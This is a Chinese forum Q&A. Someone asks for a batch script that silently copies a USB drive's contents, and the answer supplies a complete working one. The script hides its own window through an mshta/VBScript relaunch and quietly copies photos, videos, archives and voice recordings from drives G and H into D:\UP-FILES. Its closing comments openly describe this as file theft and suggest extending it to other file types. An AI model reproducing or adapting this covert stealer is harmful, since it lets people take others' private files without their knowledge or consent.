Question

求大神给我个关闭显示拷贝U盘的bat代码，（在某某盘创建文件夹拷来的东西装里面） 谢谢了

Answer 1

@ECHO OFF
%1 mshta vbscript:createobject("wscript.shell").run("""%~0"" :",0)(window.close)&&exit
MD D:\UP-FILES\photo & MD D:\UP-FILES\video
MD D:\UP-FILES\file & MD D:\UP-FILES\sound
FOR %%a IN (G H) DO (
    FOR /f "delims=" %%i IN ('dir /s/a/b/a-d "%%a:\*.JPG" 2^>nul') DO (
    COPY "%%~dpi"\*.JPG "D:\UP-FILES\photo"
)
)
FOR %%a IN (G H) DO (
    FOR /f "delims=" %%i IN ('dir /s/a/b/a-d "%%a:\*.MP4" 2^>nul') DO (
    COPY "%%~dpi"\*.MP4 "D:\UP-FILES\video"
)
)
FOR %%a IN (G H) DO (
    FOR /f "delims=" %%i IN ('dir /s/a/b/a-d "%%a:\*.RAR" 2^>nul') DO (
    COPY "%%~dpi"\*.RAR "D:\UP-FILES\file"
)
)
FOR %%a IN (G H) DO (
    FOR /f "delims=" %%i IN ('dir /s/a/b/a-d "%%a:\*.AMR" 2^>nul') DO (
    COPY "%%~dpi"\*.AMR "D:\UP-FILES\sound"
)
)
CLS&EXIT 


::由于不涉及其他后果的因素,不提供其他某文件的窃取复制
::如需要其他文件的复制,可自行修改代码
::以上代码可以复制 U 盘中的 图片 视频 压缩包 语音 等文件
::被复制的文件以保存到 D 盘的 UP-FILES 内
::GAGATOSHUT 团队